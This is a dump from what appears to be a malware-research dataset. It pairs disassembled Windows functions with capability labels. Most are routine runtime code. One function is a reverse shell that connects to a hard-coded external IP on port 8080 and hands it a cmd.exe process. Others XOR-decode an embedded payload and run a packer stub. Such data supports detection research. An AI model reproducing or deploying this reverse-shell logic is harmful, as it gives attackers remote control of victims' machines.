joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14033a520
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
cmp byte [0x14038ffe9], 0
mov rbp, rcx
mov r12, rdx
mov rdi, r8
je 0x14033a5a8
lea rdx, [0x14036675a]
mov rcx, rdi
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x14033a610
mov rbx, qword [0x14038fea0]
jmp 0x14033a565
lea rbx, [rdx + rax + 4]
mov rdx, rbx
mov rcx, rdi
call sub.msvcrt.dll_strcmp
mov rcx, rbx
mov esi, eax
call sub.msvcrt.dll_strlen
lea rdx, [rbx + rax + 1]
mov eax, dword [rdx]
test esi, esi
jne 0x14033a560
movzx r9d, word [rdx + 4]
lea r8, [rdx + 6]
mov rcx, rbp
mov rdx, r12
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
jmp fcn.1403296f0
mov r8d, 0xa
xor ecx, ecx
mov edx, 3
call qword [sym.imp.KERNEL32.dll_FindResourceA]
xor ecx, ecx
mov rdx, rax
call qword [sym.imp.KERNEL32.dll_LoadResource]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_LockResource]
xor ecx, ecx
lea rdx, [rax + 4]
mov qword [0x14038fea0], rax
mov ebx, dword [rax]
mov qword [0x14038fea0], rdx
mov r8d, dword [rax + 4]
lea rdx, [rax + 8]
mov qword [0x14038fea0], rdx
call fcn.140339650
cmp eax, ebx
jne 0x14033a678
mov byte [0x14038ffe9], 1
jmp 0x14033a53c
cmp byte [0x14038ffe8], 0
jne 0x14033a553
mov rbx, qword [sym.imp.python311.dll_PyDict_New]
call rbx
mov qword [0x140390948], rax
call rbx
mov qword [0x140390940], rax
call rbx
mov qword [0x140390938], rax
call rbx
mov qword [0x140390930], rax
call rbx
mov qword [0x140390928], rax
call rbx
mov qword [0x140390920], rax
call rbx
mov qword [0x140390918], rax
call rbx
mov byte [0x14038ffe8], 1
mov qword [0x140390910], rax
jmp 0x14033a553
lea rcx, str.Error__corrupted_constants_object
call sub.msvcrt.dll_puts
call sub.msvcrt.dll_abort
nop
nop word [rax + rax]

Function at 0x1403430d0
Capabilities:
Write file on windows

Disassembly:
push rbp
push rbx
sub rsp, 0x38
lea rbp, [rsp + 0x30]
mov qword [rbp + 0x20], rcx
mov qword [rbp + 0x28], rdx
mov qword [rbp + 0x30], r8
mov qword [rbp + 0x38], r9
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov ecx, 2
call fcn.140354860
mov r9, rax
mov r8d, 0x1b
mov edx, 1
lea rax, str.Mingw_w64_runtime_failure:_n
mov rcx, rax
call sub.msvcrt.dll_fwrite
mov rbx, qword [rbp - 8]
mov ecx, 2
call fcn.140354860
mov rcx, rax
mov rax, qword [rbp + 0x20]
mov r8, rbx
mov rdx, rax
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
nop
Function at 0x140343da2
Capabilities:
Get thread local storage value

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov eax, dword [0x140390e08]
test eax, eax
je 0x140343e3a
lea rax, [0x140390de0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
call rax
mov rax, qword [0x140390e10]
mov qword [rbp - 8], rax
jmp 0x140343e1e
mov rax, qword [rbp - 8]
mov eax, dword [rax]
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_TlsGetValue]
call rax
mov qword [rbp - 0x10], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
test eax, eax
jne 0x140343e12
cmp qword [rbp - 0x10], 0
je 0x140343e12
mov rax, qword [rbp - 8]
mov rdx, qword [rax + 8]
mov rax, qword [rbp - 0x10]
mov rcx, rax
call rdx
mov rax, qword [rbp - 8]
mov rax, qword [rax + 0x10]
mov qword [rbp - 8], rax
cmp qword [rbp - 8], 0
jne 0x140343dd8
lea rax, [0x140390de0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
call rax
jmp 0x140343e3b
nop
add rsp, 0x30
pop rbp
ret

Function at 0x140343f40
Capabilities:
Parse pe header

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
movzx eax, word [rax]
cmp ax, 0x5a4d
je 0x140343f68
mov eax, 0
jmp 0x140343fb6
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp - 8]
add rax, rdx
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
mov eax, dword [rax]
cmp eax, 0x4550
je 0x140343f91
mov eax, 0
jmp 0x140343fb6
mov rax, qword [rbp - 0x10]
add rax, 0x18
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
movzx eax, word [rax]
cmp ax, 0x20b
je 0x140343fb1
mov eax, 0
jmp 0x140343fb6
mov eax, 1
add rsp, 0x20
pop rbp
ret

Function at 0x140343fbc
Capabilities:
Enumerate pe sections

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov rax, qword [rbp + 0x10]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x10]
add rax, rdx
mov qword [rbp - 0x18], rax
mov dword [rbp - 0xc], 0
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp - 0x18]
add rax, rdx
add rax, 0x18
mov qword [rbp - 8], rax
jmp 0x14034403a
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0xc]
mov eax, eax
cmp qword [rbp + 0x18], rax
jb 0x140344031
mov rax, qword [rbp - 8]
mov edx, dword [rax + 0xc]
mov rax, qword [rbp - 8]
mov eax, dword [rax + 8]
add eax, edx
mov eax, eax
cmp qword [rbp + 0x18], rax
jae 0x140344031
mov rax, qword [rbp - 8]
jmp 0x14034404f
add dword [rbp - 0xc], 1
add qword [rbp - 8], 0x28
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 6]
movzx eax, ax
cmp dword [rbp - 0xc], eax
jb 0x140344004
mov eax, 0
add rsp, 0x20
pop rbp
ret
Function at 0x140011208
Capabilities:
Terminate process

Disassembly:
jmp 0x140013670
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x28
ret

Function at 0x140011280
Capabilities:
Create thread

Disassembly:
jmp 0x140016340
push rbp
push rdi
sub rsp, 0x158
lea rbp, [rsp + 0x30]
lea rdi, [rsp + 0x30]
mov ecx, 0x1a
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [section..data]
xor rax, rbp
mov qword [rbp + 0x118], rax
lea rcx, [0x1400230f5]
call fcn.140011398
mov dword [rbp + 4], 0
lea rdx, str.korean
xor ecx, ecx
call qword [sym.imp.ucrtbased.dll__wsetlocale]
lea rcx, str.DLLlibrary.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov qword [0x14001e1b0], rax
cmp qword [0x14001e1b0], 0
jne 0x1400163bb
mov eax, 1
jmp 0x140016487
lea rax, [rbp + 4]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0
xor r9d, r9d
lea r8, [0x140011415]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [rbp + 0x28], rax
cmp qword [rbp + 0x28], 0
jne 0x140016402
mov rcx, qword [0x14001e1b0]
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov eax, 1
jmp 0x140016487
mov edx, 0xffffffff
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rax, [rbp + 4]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0
xor r9d, r9d
lea r8, [0x14001141a]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [rbp + 0x48], rax
cmp qword [rbp + 0x48], 0
jne 0x14001645f
mov rcx, qword [0x14001e1b0]
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov eax, 1
jmp 0x140016487
mov edx, 0xffffffff
mov rcx, qword [rbp + 0x48]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rbp + 0x48]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [0x14001e1b0]
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
xor eax, eax
mov rdi, rax
lea rcx, [rbp - 0x30]
lea rdx, [0x14001ac80]
call fcn.140011325
mov rax, rdi
mov rcx, qword [rbp + 0x118]
xor rcx, rbp
call fcn.1400111c2
lea rsp, [rbp + 0x128]
pop rdi
pop rbp
ret
Function at 0x14001128a
Capabilities:
Parse pe header

Disassembly:
jmp 0x1400149c0
sub rsp, 0x38
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x1400149e0
xor al, al
jmp 0x140014a61
mov rax, qword [rsp + 0x20]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x1400149f3
xor al, al
jmp 0x140014a61
mov rax, qword [rsp + 0x20]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
cmp dword [rax], 0x4550
je 0x140014a1d
xor al, al
jmp 0x140014a61
mov rax, qword [rsp + 0x28]
movzx eax, word [rax + 0x18]
cmp eax, 0x20b
je 0x140014a31
xor al, al
jmp 0x140014a61
mov rax, qword [rsp + 0x28]
cmp dword [rax + 0x84], 0xe
ja 0x140014a43
xor al, al
jmp 0x140014a61
mov eax, 8
imul rax, rax, 0xe
mov rcx, qword [rsp + 0x28]
cmp dword [rcx + rax + 0x88], 0
jne 0x140014a5f
xor al, al
jmp 0x140014a61
mov al, 1
add rsp, 0x38
ret
Function at 0x140001000
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create process on windows
Create process suspended
Create tcp socket
Initialize winsock library

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x70
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x60], rax
mov ecx, 0x202
lea rdx, [0x14001cc70]
call qword [sym.imp.WS2_32.dll_WSAStartup]
xor edi, edi
mov ebx, 2
mov dword [rsp + 0x28], edi
xor r9d, r9d
mov ecx, ebx
mov dword [rsp + 0x20], edi
lea edx, [rdi + 1]
lea r8d, [rdi + 6]
call qword [sym.imp.WS2_32.dll_WSASocketW]
mov ecx, 0x1f90
mov word [0x14001ce78], bx
mov qword [0x14001cc68], rax
call qword [sym.imp.WS2_32.dll_htons]
lea r8, [0x14001ce7c]
mov ecx, ebx
lea rdx, str.54.81.127.129
mov word [0x14001ce7a], ax
call qword [sym.imp.WS2_32.dll_InetPtonW]
mov rcx, qword [0x14001cc68]
lea r8d, [rdi + 0x10]
mov qword [rsp + 0x30], rdi
lea rdx, [0x14001ce78]
mov qword [rsp + 0x28], rdi
xor r9d, r9d
mov qword [rsp + 0x20], rdi
call qword [sym.imp.WS2_32.dll_WSAConnect]
mov rax, qword [0x14001cc68]
lea rdx, [rsp + 0x50]
xorps xmm0, xmm0
mov qword [0x14001ce70], rax
movups xmmword [0x14001ce60], xmm0
mov qword [0x14001ce68], rax
xor r9d, r9d
mov qword [0x14001ce60], rax
xor r8d, r8d
movups xmmword [0x14001ce10], xmm0
lea rax, [0x14001cc50]
xor ecx, ecx
mov qword [rsp + 0x48], rax
lea rax, [0x14001ce10]
mov qword [rsp + 0x40], rax
movups xmmword [0x14001ce40], xmm0
mov qword [rsp + 0x38], rdi
movups xmmword [0x14001ce20], xmm0
mov qword [rsp + 0x30], rdi
movups xmmword [0x14001ce30], xmm0
mov dword [rsp + 0x28], edi
movups xmmword [0x14001ce50], xmm0
mov dword [rsp + 0x20], 1
movups xmm0, xmmword [str.cmd.exe]
mov dword [0x14001ce10], 0x68
mov dword [0x14001ce4c], 0x100
movups xmmword [rsp + 0x50], xmm0
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
mov rcx, qword [0x14001cc68]
call qword [sym.imp.WS2_32.dll_closesocket]
call qword [sym.imp.WS2_32.dll_WSACleanup]
xor eax, eax
mov rcx, qword [rsp + 0x60]
xor rcx, rsp
call fcn.1400011a0
mov rbx, qword [rsp + 0x80]
add rsp, 0x70
pop rdi
ret

Function at 0x140001b88
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140001bd2
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140001bd2
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140001bd2
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140001bd2
cmp dword [rcx + 0x84], 0xe
jbe 0x140001bd2
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140001bd4
xor al, al
add rsp, 0x28
ret

Function at 0x14000630c
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x140006108
Function at 0x140001020
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x3b0
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x3a0], rax
lea rdx, [rsp + 0x20]
mov ecx, 6
lea rax, [0x1400032b0]
lea rdx, [rdx + 0x80]
movups xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
lea rax, [rax + 0x80]
movups xmmword [rdx - 0x80], xmm0
movups xmm0, xmmword [rax - 0x60]
movups xmmword [rdx - 0x70], xmm1
movups xmm1, xmmword [rax - 0x50]
movups xmmword [rdx - 0x60], xmm0
movups xmm0, xmmword [rax - 0x40]
movups xmmword [rdx - 0x50], xmm1
movups xmm1, xmmword [rax - 0x30]
movups xmmword [rdx - 0x40], xmm0
movups xmm0, xmmword [rax - 0x20]
movups xmmword [rdx - 0x30], xmm1
movups xmm1, xmmword [rax - 0x10]
movups xmmword [rdx - 0x20], xmm0
movups xmmword [rdx - 0x10], xmm1
sub rcx, 1
jne 0x140001050
mov rcx, qword [rax + 0x70]
xor edi, edi
movups xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
movdqa xmm2, xmmword [str.2222222222222222_]
movups xmmword [rdx], xmm0
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rdx + 0x10], xmm1
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rdx + 0x20], xmm0
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rdx + 0x30], xmm1
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rdx + 0x40], xmm0
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rdx + 0x50], xmm1
movups xmmword [rdx + 0x60], xmm0
mov qword [rdx + 0x70], rcx
mov ecx, dword [rax + 0x78]
mov dword [rdx + 0x78], ecx
movzx ecx, byte [rax + 0x7c]
mov eax, 0x340
mov byte [rdx + 0x7c], cl
mov ecx, edi
nop
movdqu xmm0, xmmword [rsp + rcx + 0x20]
movdqa xmm1, xmm2
xorps xmm0, xmm2
movdqu xmmword [rsp + rcx + 0x20], xmm0
movdqu xmm0, xmmword [rsp + rcx + 0x30]
xorps xmm1, xmm0
movdqu xmmword [rsp + rcx + 0x30], xmm1
movdqu xmm0, xmmword [rsp + rcx + 0x40]
movdqa xmm1, xmm2
xorps xmm1, xmm0
movdqu xmmword [rsp + rcx + 0x40], xmm1
movdqu xmm0, xmmword [rsp + rcx + 0x50]
movdqa xmm1, xmm2
xorps xmm1, xmm0
movdqu xmmword [rsp + rcx + 0x50], xmm1
add rcx, 0x40
cmp rcx, rax
jl 0x140001100
nop dword [rax]
nop word [rax + rax]
xor byte [rsp + rax + 0x20], 0x32
inc rax
cmp rax, 0x37c
jl 0x140001160
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
movzx ebx, byte [rsp + rdi + 0x20]
call fcn.140001240
mov rcx, rax
lea rdx, section..text
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::ios_base____ptr64____cdecl___class_std::ios_base____ptr64_____ptr64]
mov rcx, rax
mov edx, ebx
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___int____ptr64]
inc rdi
cmp rdi, 0x37c
jl 0x140001170
xor eax, eax
mov rcx, qword [rsp + 0x3a0]
xor rcx, rsp
call fcn.140001400
mov rbx, qword [rsp + 0x3c0]
add rsp, 0x3b0
pop rdi
ret
Function at 0x140228b50
Capabilities:
Terminate process

Disassembly:
cld
pop r11
jmp 0x140228b5d
inc rsi
mov byte [rdi], dl
inc rdi
mov dl, byte [rsi]
add ebx, ebx
jne 0x140228b6d
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jb 0x140228b55
lea eax, [rcx + 1]
jmp 0x140228b7b
dec eax
call r11
adc eax, eax
call r11
adc eax, eax
add ebx, ebx
jne 0x140228b8e
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jae 0x140228b74
sub eax, 3
jb 0x140228bae
shl eax, 8
movzx edx, dl
or eax, edx
inc rsi
xor eax, 0xffffffff
je 0x140228bfd
sar eax, 1
movsxd rbp, eax
jb 0x140228be4
jmp 0x140228bbc
add ebx, ebx
jne 0x140228bba
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jb 0x140228be4
inc ecx
add ebx, ebx
jne 0x140228bca
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jb 0x140228be4
call r11
adc ecx, ecx
add ebx, ebx
jne 0x140228bdd
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jae 0x140228bcc
add ecx, 2
jmp 0x140228be9
call r11
adc ecx, ecx
cmp rbp, 0xfffffffffffffb00
adc ecx, 2
call fcn.140228b12
jmp 0x140228b5d
pop rsi
mov rdi, rsi
push rsi
mov rdi, rsi
mov rsi, 0x58c00
mov dl, 0x14
push rbx
push rdi
lea rcx, [rdi + rsi - 3]
pop rsi
push rsi
pop rbx
jmp 0x140228c49
cmp rsi, rcx
jae 0x140228c51
push rsi
pop rsi
lodsb al, byte [rsi]
cmp al, 0x80
jb 0x140228c30
cmp al, 0x8f
ja 0x140228c30
cmp byte [rsi - 2], 0xf
je 0x140228c36
sub al, 0xe8
cmp al, 1
ja 0x140228c1a
cmp rsi, rcx
jae 0x140228c51
push rsi
lodsd eax, dword [rsi]
sub al, dl
jne 0x140228c20
pop rdi
bswap eax
sub eax, edi
add eax, ebx
stosd dword [rdi], eax
cmp rsi, rcx
jae 0x140228c51
lodsb al, byte [rsi]
jmp 0x140228c30
pop rbx
pop rsi
sub rsp, 0x28
lea rdi, [rsi + 0x226000]
mov eax, dword [rdi]
or eax, eax
je 0x140228cae
mov ebx, dword [rdi + 4]
lea rcx, [rax + rsi + 0x22a8e4]
add rbx, rsi
add rdi, 8
call qword [sym.imp.KERNEL32.DLL_LoadLibraryA]
xchg rbp, rax
mov al, byte [rdi]
inc rdi
or al, al
je 0x140228c5e
mov rcx, rdi
mov rdx, rdi
dec eax
repne scasb al, byte [rdi]
mov rcx, rbp
call qword [sym.imp.KERNEL32.DLL_GetProcAddress]
or rax, rax
je 0x140228ca8
mov qword [rbx], rax
add rbx, 8
jmp 0x140228c7e
jmp qword [sym.imp.KERNEL32.DLL_ExitProcess]
add rsp, 0x28
add rdi, 4
lea rbx, [rsi - 4]
xor eax, eax
mov al, byte [rdi]
inc rdi
or eax, eax
je 0x140228ce8
cmp al, 0xef
ja 0x140228cda
add rbx, rax
mov rax, qword [rbx]
bswap rax
add rax, rsi
mov qword [rbx], rax
jmp 0x140228cba
and al, 0xf
shl eax, 0x10
mov ax, word [rdi]
add rdi, 2
jmp 0x140228cc9
mov rbp, qword [sym.imp.KERNEL32.DLL_VirtualProtect]
lea rdi, [rsi - 0x1000]
mov ebx, 0x1000
push rax
mov r9, rsp
mov r8d, 4
mov rdx, rbx
mov rcx, rdi
sub rsp, 0x20
call rbp
lea rax, [rdi + 0x23f]
and byte [rax], 0x7f
and byte [rax + 0x28], 0x7f
lea r9, [rsp + 0x20]
mov r8, qword [r9]
mov rdx, rbx
mov rcx, rdi
call rbp
add rsp, 0x28
mov byte [fcn.140228d67], 0xfc
lea rcx, [rsi - 0x1000]
push 1
pop rdx
xor r8, r8
push rax
call fcn.140228d67
pop rax
pop rbp
pop rdi
pop rsi
pop rbx
lea rax, [rsp - 0x80]
push 0
cmp rsp, rax
jne 0x140228d57
sub rsp, 0xffffffffffffff80
jmp 0x14002b6db
Function at 0x14000c300
Capabilities:
Read file on windows

Disassembly:
push rbx
push rsi
push r14
sub rsp, 0x30
mov r14, r8
mov rsi, rdx
mov rbx, rcx
test r8, r8
jg 0x14000c322
xor eax, eax
add rsp, 0x30
pop r14
pop rsi
pop rbx
ret
cmp qword [rcx + 0x68], 0
mov qword [rsp + 0x28], rbp
mov qword [rsp + 0x20], rdi
je 0x14000c39c
mov rdi, r14
mov rcx, rbx
call fcn.14000ffb0
test rax, rax
jle 0x14000c374
cmp rdi, rax
mov rbp, rdi
mov rcx, rsi
cmovge rbp, rax
mov rax, qword [rbx + 0x38]
mov r8, rbp
mov rdx, qword [rax]
call fcn.140028e20
mov rax, qword [rbx + 0x50]
sub rdi, rbp
sub dword [rax], ebp
mov rcx, qword [rbx + 0x38]
movsxd rax, ebp
add qword [rcx], rax
jmp 0x14000c38c
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax + 0x38]
cmp eax, 0xffffffff
je 0x14000c394
mov byte [rsi], al
dec rdi
mov ebp, 1
add rsi, rbp
test rdi, rdi
jg 0x14000c336
sub r14, rdi
jmp 0x14000c47f
mov rax, qword [rcx + 0x38]
mov rbp, r14
mov rdx, qword [rax]
test rdx, rdx
je 0x14000c3b3
mov rax, qword [rcx + 0x50]
mov ecx, dword [rax]
jmp 0x14000c3b5
xor ecx, ecx
movsxd rax, ecx
test ecx, ecx
je 0x14000c3e7
cmp rax, r14
mov rdi, r14
mov rcx, rsi
cmovb rdi, rax
mov r8, rdi
call fcn.140028e20
mov rax, qword [rbx + 0x50]
add rsi, rdi
sub rbp, rdi
sub dword [rax], edi
mov rcx, qword [rbx + 0x38]
movsxd rax, edi
add qword [rcx], rax
cmp qword [rbx + 0x80], 0
je 0x14000c47c
mov r8, qword [rbx + 0x18]
lea rax, [rbx + 0x70]
cmp qword [r8], rax
jne 0x14000c422
mov rcx, qword [rbx + 0x88]
mov rdx, qword [rbx + 0x90]
mov qword [r8], rcx
sub edx, ecx
mov rax, qword [rbx + 0x38]
mov qword [rax], rcx
mov rax, qword [rbx + 0x50]
mov dword [rax], edx
cmp rbp, 0xfff
jbe 0x14000c45d
nop dword [rax + rax]
mov r9, qword [rbx + 0x80]
mov edx, 1
mov r8d, 0xfff
mov rcx, rsi
call fcn.1400314e4
add rsi, rax
sub rbp, rax
cmp rax, 0xfff
jne 0x14000c47c
cmp rbp, rax
ja 0x14000c430
test rbp, rbp
je 0x14000c47c
mov r9, qword [rbx + 0x80]
mov r8, rbp
mov edx, 1
mov rcx, rsi
call fcn.1400314e4
sub rbp, rax
sub r14, rbp
mov rbp, qword [rsp + 0x28]
mov rax, r14
mov rdi, qword [rsp + 0x20]
add rsp, 0x30
pop r14
pop rsi
pop rbx
ret

Function at 0x1400255cc
Capabilities:
Get geographical location

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x40
mov rdi, rdx
lea r8, [rsp + 0x60]
mov ebx, ecx
mov edx, 0x20000001
lea rcx, str._x_sys_default_locale
mov r9d, 2
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoEx]
mov r8d, ebx
mov ecx, 0x1300
neg eax
sbb r9d, r9d
and qword [rsp + 0x30], 0
and r9d, dword [rsp + 0x60]
xor edx, edx
and dword [rsp + 0x28], 0
mov dword [rsp + 0x60], r9d
mov qword [rsp + 0x20], rdi
call qword [sym.imp.KERNEL32.dll_FormatMessageA]
mov edx, eax
test eax, eax
je 0x140025650
mov r8, qword [rdi]
dec r8
add r8, rdx
movzx ecx, byte [r8]
lea rax, [0x14004b500]
cmp byte [rcx + rax], 0
je 0x140025650
dec r8
sub rdx, 1
jne 0x140025636
mov rbx, qword [rsp + 0x50]
mov rax, rdx
add rsp, 0x40
pop rdi
ret
Function at 0x140027cac
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140027cf6
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140027cf6
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140027cf6
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140027cf6
cmp dword [rcx + 0x84], 0xe
jbe 0x140027cf6
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140027cf8
xor al, al
add rsp, 0x28
ret

Function at 0x14002d690
Capabilities:
Parse pe header

Disassembly:
mov dword [rsp + 0x18], r8d
mov dword [rsp + 0x10], edx
push rbp
mov rbp, rsp
sub rsp, 0x50
mov qword [rbp - 0x20], 0xfffffffffffffffe
mov qword [rsp + 0x60], rbx
mov ebx, ecx
test r8d, r8d
jne 0x14002d4fb
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14002d4fb
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14002d4fb
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14002d4fb
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14002d4fb
cmp dword [rcx + 0x84], 0xe
jbe 0x14002d4fb
cmp dword [rcx + 0xf8], 0
je 0x14002d4fb
mov ecx, ebx
call fcn.14002d5ac
mov byte [rbp + 0x28], 0
lea rax, [rbp + 0x18]
mov qword [rbp - 0x18], rax
lea rax, [rbp + 0x20]
mov qword [rbp - 0x10], rax
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov eax, 2
mov dword [rbp - 0x2c], eax
mov dword [rbp - 0x28], eax
lea r9, [rbp - 0x2c]
lea r8, [rbp - 0x18]
lea rdx, [rbp - 0x28]
lea rcx, [rbp - 0x30]
call fcn.14002d388
nop
cmp dword [rbp + 0x20], 0
je 0x14002d549
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret
mov ecx, ebx
call fcn.14002d554
int3
xor r8d, r8d
xor edx, edx
jmp 0x14002d48c

Function at 0x140037044
Capabilities:
Get file size

Disassembly:
push rbx
sub rsp, 0x20
mov edx, dword [rcx + 0x14]
nop
shr edx, 3
test dl, 1
je 0x14003705a
mov al, 1
jmp 0x1400370ba
mov eax, dword [rcx + 0x14]
nop
test al, 0xc0
je 0x14003706b
mov rax, qword [rcx + 8]
cmp qword [rcx], rax
je 0x1400370b8
mov ecx, dword [rcx + 0x18]
nop
call fcn.140040858
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x1400370b8
mov r9d, 1
lea r8, [rsp + 0x38]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
test eax, eax
je 0x1400370b8
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
test eax, eax
je 0x1400370b8
mov rax, qword [rsp + 0x30]
cmp qword [rsp + 0x38], rax
sete al
jmp 0x1400370ba
xor al, al
add rsp, 0x20
pop rbx
ret